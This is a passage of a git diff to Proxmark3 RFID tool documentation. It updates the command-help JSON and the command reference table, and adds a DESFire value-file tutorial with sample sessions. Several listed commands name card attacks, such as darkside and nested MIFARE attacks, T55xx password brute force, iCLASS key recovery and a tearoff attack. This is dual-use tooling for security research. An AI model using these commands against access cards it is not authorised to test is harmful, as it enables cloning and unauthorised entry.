"lf pcf7931 config [-hr] [-p ] [-d ] [--lw ] [--lp ]" }, @@ -11088,10 +11655,10 @@ "offline": false, "options": [ "-h, --help This help", - "-d, --data raw bit string", + "-d, --data raw bit string", "-t, --time <0 - 200000> time in microseconds before dropping the field" ], - "usage": "lf t55xx dangerraw [-h] -d -t " + "usage": "lf t55xx dangerraw [-h] -d -t " }, "lf t55xx detect": { "command": "lf t55xx detect", @@ -11164,7 +11731,7 @@ }, "lf t55xx help": { "command": "lf t55xx help", - "description": "----------- ---------------------------- notice ----------------------------- Remember to run `lf t55xx detect` first whenever a new card is placed on the Proxmark3 or the config block changed. help This help ----------- --------------------- operations --------------------- config Set/Get T55XX configuration (modulation, inverted, offset, rate) detect Try detecting the tag modulation from reading the configuration block info Show T55x7 configuration data (page 0/ blk 0) trace Show T55x7 traceability data (page 1/ blk 0-1) ----------- --------------------- recovery --------------------- sniff Attempt to recover T55xx commands from sample buffer --------------------------------------------------------------------------------------- lf t55xx clonehelp available offline: no Display a list of available commands for cloning specific techs on T5xx tags", + "description": "----------- ---------------------------- notice ----------------------------- Remember to run `lf t55xx detect` first whenever a new card is placed on the Proxmark3 or the config block changed. help This help ----------- --------------------- operations --------------------- config Set/Get T55XX configuration (modulation, inverted, offset, rate) detect Try detecting the tag modulation from reading the configuration block info Show T55x7 configuration data (page 0/ blk 0) trace Show T55x7 traceability data (page 1/ blk 0-1) view Display content from tag dump file ----------- --------------------- recovery --------------------- sniff Attempt to recover T55xx commands from sample buffer --------------------------------------------------------------------------------------- lf t55xx clonehelp available offline: no Display a list of available commands for cloning specific techs on T5xx tags", "notes": [ "lf t55xx clonehelp" ], @@ -11359,6 +11926,20 @@ ], "usage": "lf t55xx trace [-h1] [--r0] [--r1] [--r2] [--r3]" }, + "lf t55xx view": { + "command": "lf t55xx view", + "description": "Print a T55xx dump file (bin/eml/json)", + "notes": [ + "lf t55xx view -f lf-t55xx-00000000-11111111-22222222-33333333-dump.bin" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-f, --file Specify a filename for dump file", + "-v, --verbose verbose output" + ], + "usage": "lf t55xx view [-hv] -f " + }, "lf t55xx wakeup": { "command": "lf t55xx wakeup", "description": "This commands sends the Answer-On-Request command and leaves the readerfield ON afterwards", @@ -11642,24 +12223,27 @@ }, "mem load": { "command": "mem load", - "description": "Loads binary file into flash memory on device Warning: mem area to be written must have been wiped first ( this is already taken care when loading dictionaries )", + "description": "Loads binary file into flash memory on device Warning! - mem area to be written must have been wiped first OBS! - dictionaries are serviced as files in spiffs so no wipe is needed", "notes": [ "mem load -f myfile -> upload file myfile values at default offset 0", "mem load -f myfile -o 1024 -> upload file myfile values at offset 1024", - "mem load -f mfc_default_keys -m -> upload MFC keys", + "mem load -f mfc_default_keys -m -> upload MIFARE Classic keys", "mem load -f t55xx_default_pwds -t -> upload T55XX passwords", - "mem load -f iclass_default_keys -i -> upload iCLASS keys" + "mem load -f iclass_default_keys -i -> upload iCLASS keys", + "mem load -f mfulc_default_keys --ulc -> upload MIFARE UL-C keys" ], "offline": false, "options": [ "-h, --help This help", "-o, --offset offset in memory", - "-m, --mifare, --mfc upload 6 bytes keys (mifare key dictionary)", - "-i, --iclass upload 8 bytes keys (iClass key dictionary)", - "-t, --t55xx upload 4 bytes keys (password dictionary)", + "-m, --mfc upload 6 bytes keys (MIFARE Classic dictionary)", + "-i, --iclass upload 8 bytes keys (iClass dictionary)", + "-t, --t55xx upload 4 bytes keys (T55xx dictionary)", + "--ulc upload 16 bytes keys (MIFARE UL-C dictionary)", + "--aes upload 16 bytes keys (MIFARE UL-AES dictionary)", "-f, --file file name" ], - "usage": "mem load [-hmit] [-o ] -f " + "usage": "mem load [-hmit] [-o ] [--ulc] [--aes] -f " }, "mem spiffs check": { "command": "mem spiffs check", @@ -11844,6 +12428,42 @@ ], "usage": "mem wipe [-h] [-p ]" }, + "mqtt help": { + "command": "mqtt help", + "description": "help This help send Send messages or json file over MQTT receive Receive message or json file over MQTT --------------------------------------------------------------------------------------- mqtt send available offline: yes This command send MQTT messages. You can send JSON file Default server: proxdump.com:1883 topic: proxdump", + "notes": [ + "mqtt send --msg \"Hello from Pm3\" -> sending msg to default server/port/topic", + "mqtt send -f myfile.json -> sending file to default server/port/topic", + "mqtt send --addr test.mosquitto.org -p 1883 --topic pm3 --msg \"custom mqtt server \"" + ], + "offline": true, + "options": [ + "-h, --help This help", + "--addr MQTT server address", + "-p, --port MQTT server port", + "--topic MQTT topic", + "--msg Message to send over MQTT", + "-f, --file file to send" + ], + "usage": "mqtt send [-h] [--addr ] [-p ] [--topic ] [--msg ] [-f ]" + }, + "mqtt receive": { + "command": "mqtt receive", + "description": "This command receives MQTT messages. JSON text will be saved to file if detected Default server: proxdump.com:1883 topic: proxdump", + "notes": [ + "mqtt receive -> listening to default server/port/topic", + "mqtt receive --addr test.mosquitto.org -p 1883 --topic pm3" + ], + "offline": true, + "options": [ + "-h, --help This help", + "--addr MQTT server address", + "-p, --port MQTT server port", + "--topic MQTT topic", + "-f, --file file name to use for received files" + ], + "usage": "mqtt receive [-h] [--addr ] [-p ] [--topic ] [-f ]" + }, "msleep": { "command": "msleep", "description": "Sleep for given amount of milliseconds", @@ -12126,7 +12746,7 @@ "--aid Applet ID to select. By default A0000003080000100 will be used", "--nonce Nonce to sign.", "--slot Slot number. Default will be 0x9E (card auth cert).", - "--alg Algorithm to use to sign. Example values: 06=RSA-1024, 07=RSA-2048, 11=ECC-P256 (default), 14=ECC-P384" + "--alg Algorithm to use to sign. Example values: 06=RSA-1024, 07=RSA-2048, 17=ECC-P256 (default), 20=ECC-P384" ], "usage": "piv sign [-hskatw] [--aid ] --nonce [--slot ] [--alg ]" }, @@ -12274,6 +12894,18 @@ ], "usage": "prefs get hints [-h]" }, + "prefs get mqtt": { + "command": "prefs get mqtt", + "description": "Get preference of MQTT settings in the client", + "notes": [ + "prefs get mqtt" + ], + "offline": true, + "options": [ + "-h, --help This help" + ], + "usage": "prefs get mqtt [-h]" + }, "prefs get output": { "command": "prefs get output", "description": "Get preference of dump output style", @@ -12318,9 +12950,10 @@ ], "offline": true, "options": [ - "-h, --help This help" + "-h, --help This help", + "-j, --json Dump prefs as JSON" ], - "usage": "prefs show [-h]" + "usage": "prefs show [-hj]" }, "prefs set client.debug": { "command": "prefs set client.debug", @@ -12398,7 +13031,7 @@ }, "prefs set help": { "command": "prefs set help", - "description": "help This help barmode Set bar mode client.debug Set client debug level client.delay Set client execution delay client.timeout Set client communication timeout color Set color support emoji Set emoji display hints Set hint display savepaths ... to be adjusted next ... output Set dump output style plotsliders Set plot slider display --------------------------------------------------------------------------------------- prefs set barmode available offline: yes Set persistent preference of HF/LF tune command styled output in the client", + "description": "help This help barmode Set bar mode client.debug Set client debug level client.delay Set client execution delay client.timeout Set client communication timeout color Set color support emoji Set emoji display hints Set hint display savepaths ... to be adjusted next ... output Set dump output style plotsliders Set plot slider display mqtt Set MQTT default values --------------------------------------------------------------------------------------- prefs set barmode available offline: yes Set persistent preference of HF/LF tune command styled output in the client", "notes": [ "prefs set barmode --mix" ], @@ -12425,6 +13058,22 @@ ], "usage": "prefs set hints [-h] [--off] [--on]" }, + "prefs set mqtt": { + "command": "prefs set mqtt", + "description": "Set persistent preference MQTT Server in the client", + "notes": [ + "prefs set mqtt -s test.mosquito.com", + "prefs set mqtt -s test.mosquito.com -p 1883 -t proxdump" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-s, --srv default MQTT Server", + "-p, --port default MQTT Port", + "-t, --topic default MQTT Topic" + ], + "usage": "prefs set mqtt [-h] [-s ] [-p ] [-t ]" + }, "prefs set output": { "command": "prefs set output", "description": "Set dump output style to condense consecutive repeated data", @@ -12666,12 +13315,12 @@ "trace list -t 15 -> interpret as ISO15693", "trace list -t 7816 -> interpret as ISO7816-4", "trace list -t cryptorf -> interpret as CryptoRF", - "", "trace list -t des -> interpret as MIFARE DESFire", "trace list -t felica -> interpret as ISO18092 / FeliCa", - "trace list -t hitag1 -> interpret as Hitag1", - "trace list -t hitag2 -> interpret as Hitag2", - "trace list -t hitags -> interpret as HitagS", + "trace list -t ht1 -> interpret as Hitag 1", + "trace list -t ht2 -> interpret as Hitag 2", + "trace list -t hts -> interpret as Hitag S", + "trace list -t htu -> interpret as Hitag \u00b5", "trace list -t iclass -> interpret as iCLASS", "trace list -t legic -> interpret as LEGIC", "trace list -t lto -> interpret as LTO-CM", @@ -12680,6 +13329,7 @@ "trace list -t thinfilm -> interpret as Thinfilm", "trace list -t topaz -> interpret as Topaz", "trace list -t mfp -> interpret as MIFARE Plus", + "trace list -t fmcos20 -> interpret as FMCOS 2.0", "", "trace list -t mf -f mfc_default_keys.dic -> use default dictionary file", "trace list -t 14a --frame -> show frame delay times", @@ -12695,10 +13345,10 @@ "-u display times in microseconds instead of clock cycles", "-x show hexdump to convert to pcap(ng)", "or to import into Wireshark using encapsulation type \"ISO 14443\"", - "-t, --type protocol to annotate the trace", + "-t, --type protocol to annotate the trace", "-f, --file filename of dictionary" ], - "usage": "trace list [-h1crux] [--frame] [-t ] [-f ]" + "usage": "trace list [-h1crux] [--frame] [-t ] [-f ]" }, "trace load": { "command": "trace load", @@ -12805,9 +13455,9 @@ "offline": false, "options": [ "-h, --help This help", - "-d, --data string to send" + "-d, --data string to send" ], - "usage": "usart tx [-h] -d " + "usage": "usart tx [-h] -d " }, "usart txhex": { "command": "usart txhex", @@ -12833,23 +13483,25 @@ "options": [ "-h, --help This help", "-t, --timeout timeout in ms, default is 1000 ms", - "-d, --data string to send" + "-d, --data string to send" ], - "usage": "usart txrx [-h] [-t ] -d " + "usage": "usart txrx [-h] [-t ] -d " }, "wiegand decode": { "command": "wiegand decode", "description": "Decode raw hex or binary to wiegand format", "notes": [ - "wiegand decode --raw 2006f623ae" + "wiegand decode --raw 2006F623AE", + "wiegand decode --new 06BD88EB80 -> 4..8 bytes, new padded format" ], "offline": true, "options": [ "-h, --help This help", "-r, --raw raw hex to be decoded", - "-b, --bin binary string to be decoded" + "-b, --bin binary string to be decoded", + "-n, --new new padded pacs as raw hex to be decoded" ], - "usage": "wiegand decode [-h] [-r ] [-b ]" + "usage": "wiegand decode [-h] [-r ] [-b ] [-n ]" }, "wiegand encode": { "command": "wiegand encode", @@ -12884,8 +13536,8 @@ } }, "metadata": { - "commands_extracted": 743, + "commands_extracted": 780, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2024-09-10T12:26:03" + "extracted_on": "2025-08-20T08:39:30" } } diff --git a/doc/commands.md b/doc/commands.md index a31c55984..fbae0a050 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -46,6 +46,7 @@ Check column "offline" for their availability. |`prefs get hints `|Y |`Get hint display preference` |`prefs get output `|Y |`Get dump output style preference` |`prefs get plotsliders `|Y |`Get plot slider display preference` +|`prefs get mqtt `|Y |`Get MQTT preference` ### prefs set @@ -65,6 +66,7 @@ Check column "offline" for their availability. |`prefs set savepaths `|Y |`... to be adjusted next ... ` |`prefs set output `|Y |`Set dump output style` |`prefs set plotsliders `|Y |`Set plot slider display` +|`prefs set mqtt `|Y |`Set MQTT default values` ### analyse @@ -74,7 +76,7 @@ Check column "offline" for their availability. |command |offline |description |------- |------- |----------- |`analyse help `|Y |`This help` -|`analyse lcr `|Y |`Generate final byte for XOR LRC` +|`analyse lrc `|Y |`Generate final byte for XOR LRC` |`analyse crc `|Y |`Stub method for CRC evaluations` |`analyse chksum `|Y |`Checksum with adding, masking and one's complement` |`analyse dates `|Y |`Look for datestamps in a given array of bytes` @@ -150,7 +152,7 @@ Check column "offline" for their availability. |------- |------- |----------- |`emv help `|Y |`This help` |`emv list `|Y |`List ISO7816 history` -|`emv test `|Y |`Crypto logic selftest` +|`emv test `|Y |`Perform crypto logic self tests` |`emv challenge `|N |`Generate challenge` |`emv exec `|N |`Executes EMV contactless transaction` |`emv genac `|N |`Generate ApplicationCryptogram` @@ -163,6 +165,7 @@ Check column "offline" for their availability. |`emv scan `|N |`Scan EMV card and save it contents to json file for emulator` |`emv search `|N |`Try to select all applets from applets list and print installed applets` |`emv select `|N |`Select applet` +|`emv smart2nfc `|N |`Complete transaction as a nfc smart card, using the ISO-7816 interface for auth` ### hf @@ -192,6 +195,7 @@ Check column "offline" for their availability. |`hf 14a cuids `|N |`Collect n>0 ISO14443-a UIDs in one go` |`hf 14a info `|N |`Tag information` |`hf 14a sim `|N |`Simulate ISO 14443-a tag` +|`hf 14a simaid `|N |`Simulate ISO 14443-a AID Selection` |`hf 14a sniff `|N |`sniff ISO 14443-a traffic` |`hf 14a raw `|N |`Send raw hex data to tag` |`hf 14a reader `|N |`Act like an ISO14443-a reader` @@ -226,6 +230,7 @@ Check column "offline" for their availability. |`hf 14b valid `|Y |`SRIX4 checksum test` |`hf 14b calypso `|N |`Read contents of a Calypso card` |`hf 14b mobib `|N |`Read contents of a Mobib card` +|`hf 14b setuid `|N |`Set UID for magic card` ### hf 15 @@ -258,6 +263,7 @@ Check column "offline" for their availability. |`hf 15 slixeasenable `|N |`Enable EAS mode on SLIX ISO-15693 tag` |`hf 15 slixprivacydisable`|N |`Disable privacy mode on SLIX ISO-15693 tag` |`hf 15 slixprivacyenable`|N |`Enable privacy mode on SLIX ISO-15693 tag` +|`hf 15 slixprotectpage `|N |`Protect pages on SLIX ISO-15693 tag` |`hf 15 passprotectafi `|N |`Password protect AFI - Cannot be undone` |`hf 15 passprotecteas `|N |`Password protect EAS - Cannot be undone` |`hf 15 findafi `|N |`Brute force AFI of an ISO-15693 tag` @@ -273,7 +279,7 @@ Check column "offline" for their availability. |command |offline |description |------- |------- |----------- |`hf cipurse help `|Y |`This help.` -|`hf cipurse info `|N |`Get info about CIPURSE tag` +|`hf cipurse info `|N |`Tag information` |`hf cipurse select `|N |`Select CIPURSE application or file` |`hf cipurse auth `|N |`Authenticate CIPURSE tag` |`hf cipurse read `|N |`Read binary file` @@ -309,7 +315,7 @@ Check column "offline" for their availability. |------- |------- |----------- |`hf emrtd help `|Y |`This help` |`hf emrtd dump `|N |`Dump eMRTD files to binary files` -|`hf emrtd info `|Y |`Display info about an eMRTD` +|`hf emrtd info `|Y |`Tag information` |`hf emrtd list `|Y |`List ISO 14443A/7816 history` @@ -327,6 +333,7 @@ Check column "offline" for their availability. |`hf felica reader `|N |`Act like an ISO18092/FeliCa reader` |`hf felica sniff `|N |`Sniff ISO 18092/FeliCa traffic` |`hf felica wrbl `|N |`write block data to an authentication-not-required Service.` +|`hf felica dump `|N |`Wait for and try dumping FeliCa` |`hf felica rqservice `|N |`verify the existence of Area and Service, and to acquire Key Version.` |`hf felica rqresponse `|N |`verify the existence of a card and its Mode.` |`hf felica scsvcode `|N |`acquire Area Code and Service Code.` @@ -336,6 +343,7 @@ Check column "offline" for their availability. |`hf felica rqspecver `|N |`acquire the version of card OS.` |`hf felica resetmode `|N |`reset Mode to Mode 0.` |`hf felica litesim `|N |`Emulating ISO/18092 FeliCa Lite tag` +|`hf felica liteauth `|N |`authenticate a card.` |`hf felica litedump `|N |`Wait for and try dumping FelicaLite` @@ -347,7 +355,7 @@ Check column "offline" for their availability. |------- |------- |----------- |`hf fido help `|Y |`This help.` |`hf fido list `|Y |`List ISO 14443A history` -|`hf fido info `|N |`Info about FIDO tag.` +|`hf fido info `|N |`Tag information` |`hf fido reg `|N |`FIDO U2F Registration Message.` |`hf fido auth `|N |`FIDO U2F Authentication Message.` |`hf fido make `|N |`FIDO2 MakeCredential command.` @@ -380,6 +388,7 @@ Check column "offline" for their availability. |`hf gallagher delete `|N |`Delete Gallagher credentials from a DESFire card` |`hf gallagher diversifykey`|Y |`Diversify Gallagher key` |`hf gallagher decode `|Y |`Decode Gallagher credential block` +|`hf gallagher encode `|Y |`Encode Gallagher credential block` ### hf iclass @@ -399,17 +408,19 @@ Check column "offline" for their availability. |`hf iclass view `|Y |`Display content from tag dump file` |`hf iclass wrbl `|N |`Write Picopass / iCLASS block` |`hf iclass creditepurse `|N |`Credit epurse value` +|`hf iclass tear `|N |`Performs tearoff attack on iCLASS block` |`hf iclass chk `|N |`Check keys` |`hf iclass loclass `|Y |`Use loclass to perform bruteforce reader attack` |`hf iclass lookup `|Y |`Uses authentication trace to check for key in dictionary file` -|`hf iclass legrec `|N |`Attempts to recover the standard key of a legacy card` -|`hf iclass legbrute `|Y |`Bruteforces 40 bits of a partial raw key` +|`hf iclass legrec `|N |`Recovers 24 bits of the diversified key of a legacy card provided a valid nr-mac combination` +|`hf iclass legbrute `|Y |`Bruteforces 40 bits of a partial diversified key, provided 24 bits of the key and two valid nr-macs` +|`hf iclass unhash `|Y |`Reverses a diversified key to retrieve hash0 pre-images after DES encryption` |`hf iclass sim `|N |`Simulate iCLASS tag` |`hf iclass eload `|N |`Upload file into emulator memory` |`hf iclass esave `|N |`Save emulator memory to file` |`hf iclass esetblk `|N |`Set emulator memory block data` |`hf iclass eview `|N |`View emulator memory` -|`hf iclass configcard `|N |`Reader configuration card` +|`hf iclass configcard `|N |`Reader configuration card generator` |`hf iclass calcnewkey `|Y |`Calc diversified keys (blocks 3 & 4) to write new keys` |`hf iclass encode `|Y |`Encode binary wiegand to block 7` |`hf iclass encrypt `|Y |`Encrypt given block data` @@ -453,7 +464,7 @@ Check column "offline" for their availability. |------- |------- |----------- |`hf ksx6924 help `|Y |`This help` |`hf ksx6924 select `|N |`Select application, and leave field up` -|`hf ksx6924 info `|N |`Get info about a KS X 6924 (T-Money, Snapper+) transit card` +|`hf ksx6924 info `|N |`Tag information` |`hf ksx6924 balance `|N |`Get current purse balance` |`hf ksx6924 init `|N |`Perform transaction initialization with Mpda` |`hf ksx6924 prec `|N |`Send proprietary get record command (CLA=90, INS=4C)` @@ -507,8 +518,6 @@ Check column "offline" for their availability. |------- |------- |----------- |`hf mf help `|Y |`This help` |`hf mf list `|Y |`List MIFARE history` -|`hf mf info `|N |`mfc card Info` -|`hf mf isen `|N |`mfc card Info Static Encrypted Nonces` |`hf mf darkside `|N |`Darkside attack` |`hf mf nested `|N |`Nested attack` |`hf mf hardnested `|Y |`Nested attack for hardened MIFARE Classic cards` @@ -520,9 +529,12 @@ Check column "offline" for their availability. |`hf mf fchk `|N |`Check keys fast, targets all keys on card` |`hf mf decrypt `|Y |`Decrypt Crypto1 data from sniff or trace` |`hf mf supercard `|N |`Extract info from a `super card`` +|`hf mf bambukeys `|Y |`Generate key table for Bambu Lab filament tag` |`hf mf auth4 `|N |`ISO14443-4 AES authentication` |`hf mf acl `|Y |`Decode and print MIFARE Classic access rights bytes` |`hf mf dump `|N |`Dump MIFARE Classic tag to binary file` +|`hf mf info `|N |`Tag information` +|`hf mf isen `|N |`Information Static Encrypted Nonces` |`hf mf mad `|Y |`Checks and prints MAD` |`hf mf personalize `|N |`Personalize UID (MIFARE Classic EV1 only)` |`hf mf rdbl `|N |`Read MIFARE Classic block` @@ -554,7 +566,7 @@ Check column "offline" for their availability. |`hf mf gen3uid `|N |`Set UID without changing manufacturer block` |`hf mf gen3blk `|N |`Overwrite manufacturer block` |`hf mf gen3freeze `|N |`Perma lock UID changes. irreversible` -|`hf mf ginfo `|N |`Info about configuration of the card` +|`hf mf ginfo `|Y |`Info about configuration of the card` |`hf mf ggetblk `|N |`Read block from card` |`hf mf gload `|N |`Load dump to card` |`hf mf gsave `|N |`Save dump from card into file or emulator` @@ -582,7 +594,7 @@ Check column "offline" for their availability. |`hf mfp auth `|N |`Authentication` |`hf mfp chk `|N |`Check keys` |`hf mfp dump `|N |`Dump MIFARE Plus tag to binary file` -|`hf mfp info `|N |`Info about MIFARE Plus tag` +|`hf mfp info `|N |`Tag information` |`hf mfp mad `|N |`Check and print MAD` |`hf mfp rdbl `|N |`Read blocks from card` |`hf mfp rdsc `|N |`Read sectors from card` @@ -610,7 +622,9 @@ Check column "offline" for their availability. |`hf mfu otptear `|N |`Tear-off test on OTP bits` |`hf mfu cauth `|N |`Ultralight-C - Authentication` |`hf mfu setpwd `|N |`Ultralight-C - Set 3DES key` +|`hf mfu aesauth `|N |`Ultralight-AES - Authentication` |`hf mfu dump `|N |`Dump MIFARE Ultralight family tag to binary file` +|`hf mfu incr `|N |`Increments Ev1/NTAG counter` |`hf mfu info `|N |`Tag information` |`hf mfu ndefread `|N |`Prints NDEF records from card` |`hf mfu rdbl `|N |`Read block` @@ -658,6 +672,7 @@ Check column "offline" for their availability. |`hf mfdes getkeyversions`|N |`Get Key Versions` |`hf mfdes getfileids `|N |`Get File IDs list` |`hf mfdes getfileisoids `|N |`Get File ISO IDs list` +|`hf mfdes lsfile `|N |`Show all files list` |`hf mfdes lsfiles `|N |`Show all files list` |`hf mfdes dump `|N |`Dump all files` |`hf mfdes createfile `|N |`Create Standard/Backup File` @@ -698,8 +713,13 @@ Check column "offline" for their availability. |command |offline |description |------- |------- |----------- |`hf seos help `|Y |`This help` -|`hf seos info `|N |`Tag information` |`hf seos list `|Y |`List SEOS history` +|`hf seos sam `|N |`SAM tests` +|`hf seos info `|N |`Tag information` +|`hf seos pacs `|Y |`Extract PACS Information from card` +|`hf seos adf `|Y |`Read an ADF from the card` +|`hf seos gdf `|Y |`Read an GDF from card` +|`hf seos managekeys `|Y |`Manage keys to use with SEOS commands` ### hf st25ta @@ -772,7 +792,7 @@ Check column "offline" for their availability. ### hf vas - { Apple Value Added Service } + { Apple Value Added Service... } |command |offline |description |------- |------- |----------- @@ -799,7 +819,7 @@ Check column "offline" for their availability. |------- |------- |----------- |`hf xerox help `|Y |`This help` |`hf xerox list `|Y |`List ISO-14443B history` -|`hf xerox info `|N |`Short info on Fuji/Xerox tag` +|`hf xerox info `|N |`Tag information` |`hf xerox dump `|N |`Read all memory pages of an Fuji/Xerox tag, save to file` |`hf xerox reader `|N |`Act like a Fuji/Xerox reader` |`hf xerox view `|Y |`Display content from tag dump file` @@ -976,7 +996,7 @@ Check column "offline" for their availability. |------- |------- |----------- |`lf em 4x70 help `|Y |`This help` |`lf em 4x70 brute `|N |`Bruteforce EM4X70 to find partial key` -|`lf em 4x70 info `|N |`Tag information EM4x70` +|`lf em 4x70 info `|N |`Tag information` |`lf em 4x70 write `|N |`Write EM4x70` |`lf em 4x70 unlock `|N |`Unlock EM4x70 for writing` |`lf em 4x70 auth `|N |`Authenticate EM4x70` @@ -1049,7 +1069,7 @@ Check column "offline" for their availability. |------- |------- |----------- |`lf hitag help `|Y |`This help` |`lf hitag list `|Y |`List Hitag trace history` -|`lf hitag info `|N |`Hitag 2 tag information` +|`lf hitag info `|N |`Tag information` |`lf hitag reader `|N |`Act like a Hitag 2 reader` |`lf hitag test `|Y |`Perform self tests` |`lf hitag dump `|N |`Dump Hitag 2 tag` @@ -1075,8 +1095,27 @@ Check column "offline" for their availability. |------- |------- |----------- |`lf hitag hts help `|Y |`This help` |`lf hitag hts list `|Y |`List Hitag S trace history` -|`lf hitag hts read `|N |`Read Hitag S memory` -|`lf hitag hts write `|N |`Write Hitag S page` +|`lf hitag hts reader `|N |`Act like a Hitag S reader` +|`lf hitag hts rdbl `|N |`Read Hitag S page` +|`lf hitag hts dump `|N |`Dump Hitag S pages to a file` +|`lf hitag hts restore `|N |`Restore Hitag S memory from dump file` +|`lf hitag hts wrbl `|N |`Write Hitag S page` +|`lf hitag hts sim `|N |`Simulate Hitag S transponder` + + +### lf hitag htu + + { Hitag µ/8265 operations } + +|command |offline |description +|------- |------- |----------- +|`lf hitag htu help `|Y |`This help` +|`lf hitag htu list `|Y |`List Hitag µ trace history` +|`lf hitag htu reader `|N |`Act like a Hitag µ reader` +|`lf hitag htu rdbl `|N |`Read Hitag µ block` +|`lf hitag htu dump `|N |`Dump Hitag µ blocks to a file` +|`lf hitag htu wrbl `|N |`Write Hitag µ block` +|`lf hitag htu sim `|N |`Simulate Hitag µ transponder` ### lf idteck @@ -1308,6 +1347,7 @@ Check column "offline" for their availability. |`lf t55xx restore `|N |`Restore T55xx card Page 0 / Page 1 blocks` |`lf t55xx trace `|Y |`Show T55x7 traceability data (page 1/ blk 0-1)` |`lf t55xx wakeup `|N |`Send AOR wakeup command` +|`lf t55xx view `|Y |`Display content from tag dump file` |`lf t55xx write `|N |`Write T55xx block data` |`lf t55xx bruteforce `|N |`Simple bruteforce attack to find password` |`lf t55xx chk `|N |`Check passwords` @@ -1368,7 +1408,7 @@ Check column "offline" for their availability. |`mem spiffs copy `|N |`Copy a file to another (destructively) in SPIFFS file system` |`mem spiffs check `|N |`Check/try to defrag faulty/fragmented file system` |`mem spiffs dump `|N |`Dump a file from SPIFFS file system` -|`mem spiffs info `|N |`Print file system info and usage statistics` +|`mem spiffs info `|N |`File system information and usage statistics` |`mem spiffs mount `|N |`Mount the SPIFFS file system if not already mounted` |`mem spiffs remove `|N |`Remove a file from SPIFFS file system` |`mem spiffs rename `|N |`Rename/move a file in SPIFFS file system` @@ -1380,6 +1420,17 @@ Check column "offline" for their availability. |`mem spiffs wipe `|N |`Wipe all files from SPIFFS file system * dangerous *` +### mqtt + + { MQTT commmands... } + +|command |offline |description +|------- |------- |----------- +|`mqtt help `|Y |`This help` +|`mqtt send `|Y |`Send messages or json file over MQTT` +|`mqtt receive `|Y |`Receive message or json file over MQTT` + + ### nfc { NFC commands... } diff --git a/doc/desfire.md b/doc/desfire.md index 50bddc9d5..65f1af748 100644 --- a/doc/desfire.md +++ b/doc/desfire.md @@ -23,6 +23,7 @@ - [How to create files](#how-to-create-files) - [How to delete files](#how-to-delete-files) - [How to read/write files](#how-to-readwrite-files) + - [How to work with value files](#how-to-work-with-value-files) - [How to work with transaction mac](#how-to-work-with-transaction-mac) - [How to switch DESFire Light to LRP mode](#how-to-switch-desfire-light-to-lrp-mode) @@ -254,7 +255,7 @@ Create standard file with mac access mode and specified access settings. access `hf mfdes createfile --aid 123456 --fid 01 --isofid 0001 --size 000010 --amode mac --rrights free --wrights free --rwrights free --chrights key0` -`hf mfdes createvaluefile --aid 123456 --fid 01 --isofid 0001 --lower 00000010 --upper 00010000 --value 00000100` - create value file +`hf mfdes createvaluefile --aid 123456 --fid 01 --isofid 0001 --lower 00000010 --upper 00010000 --value 00000100` - create value file (see [How to work with value files](#how-to-work-with-value-files) for detailed examples) `hf mfdes createrecordfile --aid 123456 --fid 01 --isofid 0001 --size 000010 --maxrecord 000010` - create linear record file @@ -294,9 +295,11 @@ Here it is needed to specify the type of the file because there is no `hf mfdes `hf mfdes write --aid 123456 --fid 01 --type data -d 01020304 --commit` - write backup data file and commit -`hf mfdes write --aid 123456 --fid 01 --type value -d 00000001` increment value file +`hf mfdes write --aid 123456 --fid 01 --type value -d 00000001` increment value file (deprecated, use `hf mfdes value` command) -`hf mfdes write --aid 123456 --fid 01 --type value -d 00000001 --debit` decrement value file +`hf mfdes write --aid 123456 --fid 01 --type value -d 00000001 --debit` decrement value file (deprecated, use `hf mfdes value` command) + +For modern value file operations, see [How to work with value files](#how-to-work-with-value-files) `hf mfdes write --aid 123456 --fid 01 --type record -d 01020304` write data to a record file @@ -314,6 +317,188 @@ For more detailed samples look at the next howto. `hf mfdes write --aid 123456 --fid 01 -d 01020304 --readerid 010203` write data to the file with CommitReaderID command before and CommitTransaction after write +### How to work with value files +^[Top](#top) + +Value files are specialized files designed for storing and manipulating monetary values or counters. They provide atomic operations for incrementing (credit) and decrementing (debit) values with built-in limits and security features. + +**Key Features:** +- 32-bit value storage (represented internally as unsigned) +- Lower and upper limits to prevent underflow/overflow +- Atomic operations with automatic transaction commit +- Transaction logging support +- Secure communication modes (plain, MAC, encrypted) + +**Value File Structure:** +- Current value: 32-bit value +- Lower limit: minimum allowed value (prevents underflow) +- Upper limit: maximum allowed value (prevents overflow) + +**Access Rights:** +Value files use four access right categories: +- **Read**: Required to get the current value (`hf mfdes value --op get`) +- **Write**: Required for debit operations (`hf mfdes value --op debit`) +- **Read/Write**: Required for credit operations (`hf mfdes value --op credit`) +- **Change**: Required to modify file settings or delete the file + +Access rights can be set to: +- `key0` through `keyE`: Requires authentication with the specified key +- `free`: No authentication required +- `deny`: Operation is forbidden + +*Create value file:* + +Creating a Bitcoin wallet on your DESFire card: +``` +pm3 --> hf mfdes createapp --aid 425443 --ks1 0B --ks2 0E +[+] Desfire application 425443 successfully created + +pm3 --> hf mfdes createvaluefile --aid 425443 --fid 01 --lower 00000000 --upper 01406F40 --value 00000032 +[=] ---- Create file settings ---- +[+] File type : Value +[+] File number : 0x01 (1) +[+] File comm mode : Plain +[+] Additional access: No +[+] Access rights : EEEE +[+] read......... free +[+] write........ free +[+] read/write... free +[+] change....... free +[=] Lower limit... 0 / 0x00000000 +[=] Upper limit... 21000000 / 0x01406F40 +[=] Value............ 50 / 0x00000032 +[=] Limited credit... 0 - disabled +[=] GetValue access... Not Free +[+] Value file 01 in the app 425443 created successfully +``` +This creates a DESFire Bitcoin wallet with: +- Application ID 0x425443 (ASCII "BTC") +- File ID 0x01 for the wallet +- Lower limit: 0 BTC (no overdrafts in crypto) +- Upper limit: 21,000,000 BTC (respecting Satoshi's vision) +- Initial value: 50 BTC (the original block reward) + +Creating the infamous Pizza Day wallet: +``` +pm3 --> hf mfdes createvaluefile --aid 425443 --fid 02 --lower 00000000 --upper 01406F40 --value 00002710 +[=] ---- Create file settings ---- +[+] File type : Value +[+] File number : 0x02 (2) +[+] File comm mode : Plain +[+] Additional access: No +[+] Access rights : EEEE +[+] read......... free +[+] write........ free +[+] read/write... free +[+] change....... free +[=] Lower limit... 0 / 0x00000000 +[=] Upper limit... 21000000 / 0x01406F40 +[=] Value............ 10000 / 0x00002710 +[=] Limited credit... 0 - disabled +[=] GetValue access... Not Free +[+] Value file 02 in the app 425443 created successfully +``` +This creates a wallet pre-loaded with 10,000 BTC (historical exchange rate: 2 pizzas) + +*Value file 